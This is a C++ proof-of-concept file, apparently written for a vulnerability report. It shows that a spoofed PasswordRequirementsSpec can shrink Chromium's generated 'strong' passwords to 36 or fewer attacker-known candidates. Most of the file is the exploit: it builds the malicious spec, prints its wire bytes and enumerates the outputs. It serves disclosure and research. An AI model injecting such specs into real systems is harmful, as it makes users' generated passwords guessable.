// POC: Network-process-spoofable PasswordRequirementsSpec.character_set reduces
// "strong" generated password to attacker-known <=36-candidate space (CWE-331).
//
// The browser process accepts PasswordRequirementsSpec protos from
// network-process-mediated sources (the Autofill crowdsourcing query response
// at autofill_crowdsourcing_encoding.cc:1127-1128, and the gstatic.com domain
// shard at password_requirements_spec_fetcher_impl.cc:209-215) without
// validating CharacterClass.character_set cardinality.
//
// GeneratePassword() (password_generator.cc:271) merges the untrusted spec over
// defaults with proto2 MergeFrom, which OVERWRITES the default per-class
// character_set strings with the server-supplied values. The only safety net is
// `if (password.size() < 4)` (line 293), which checks LENGTH but not ALPHABET
// SIZE.
//
// This program constructs the exact wire payload a compromised network process
// would inject, feeds it to the unmodified browser-process generator, and
// enumerates the entire reachable output space.

#include <cstdio>
#include <set>
#include <string>

#include "base/at_exit.h"
#include "base/check.h"
#include "base/command_line.h"
#include "base/strings/utf_string_conversions.h"
#include "components/autofill/core/browser/proto/password_requirements.pb.h"
#include "components/password_manager/core/browser/generation/password_generator.h"

int main(int argc, char** argv) {
  base::AtExitManager at_exit;
  base::CommandLine::Init(argc, argv);

  // === Step 1: Build the malicious spec exactly as it would arrive over the
  // wire inside AutofillQueryResponse.FormSuggestion.FieldSuggestion
  // .password_requirements (or inside a gstatic.com PasswordRequirementsShard).
  // No browser-side code mutates these fields before they reach
  // GeneratePassword(); see PasswordRequirementsService::AddSpec /
  // OnFetchedRequirements which store the proto verbatim.
  autofill::PasswordRequirementsSpec wire_spec;
  wire_spec.set_priority(0xFFFFFFFFu);  // wins the domain-keyed cache forever
  wire_spec.set_spec_version(1);
  wire_spec.set_max_length(4);          // smallest length that survives the
                                        // `password.size() < 4` floor
  wire_spec.mutable_lower_case()->set_character_set("a");
  wire_spec.mutable_upper_case()->set_character_set("A");
  wire_spec.mutable_numeric()->set_character_set("1");
  // alphabetic / symbols left unset -> defaults keep min=max=0.

  // Dump the serialized wire bytes -- this is exactly what travels from the
  // network process to the browser process.
  std::string wire;
  wire_spec.SerializeToString(&wire);
  fprintf(stderr, "[POC] wire-format PasswordRequirementsSpec (%zu bytes): ",
          wire.size());
  for (unsigned char b : wire) {
    fprintf(stderr, "%02x", b);
  }
  fprintf(stderr, "\n");

  // === Step 2: Exhaustively sample autofill::GeneratePassword().
  std::set<std::u16string> observed;
  constexpr int kIterations = 100000;
  for (int i = 0; i < kIterations; ++i) {
    std::u16string pw = autofill::GeneratePassword(wire_spec);

    // The length-only floor at password_generator.cc:293 is satisfied, so the
    // generator believes this is an acceptable "strong" password.
    CHECK_EQ(4u, pw.size()) << base::UTF16ToUTF8(pw);

    // Every character is drawn from the attacker-chosen 3-symbol alphabet.
    for (char16_t c : pw) {
      CHECK(c == 'a' || c == 'A' || c == '1')
          << "unexpected char in " << base::UTF16ToUTF8(pw);
    }
    observed.insert(pw);
  }

  // === Step 3: Report.
  fprintf(stderr,
          "\n[POC] autofill::GeneratePassword() under network-spoofed spec "
          "produced %zu distinct values across %d trials:\n",
          observed.size(), kIterations);
  for (const std::u16string& pw : observed) {
    fprintf(stderr, "[POC]   %s\n", base::UTF16ToUTF8(pw).c_str());
  }

  CHECK_LE(observed.size(), 36u);

  fprintf(stderr,
          "\n[POC] VULNERABILITY CONFIRMED (CWE-331): the browser-process "
          "'strong password' generator collapses to %zu attacker-known "
          "candidates under a PasswordRequirementsSpec controllable by the "
          "network process. The size()<4 floor at password_generator.cc:293 "
          "checks length but not alphabet size.\n",
          observed.size());
  return 0;
}
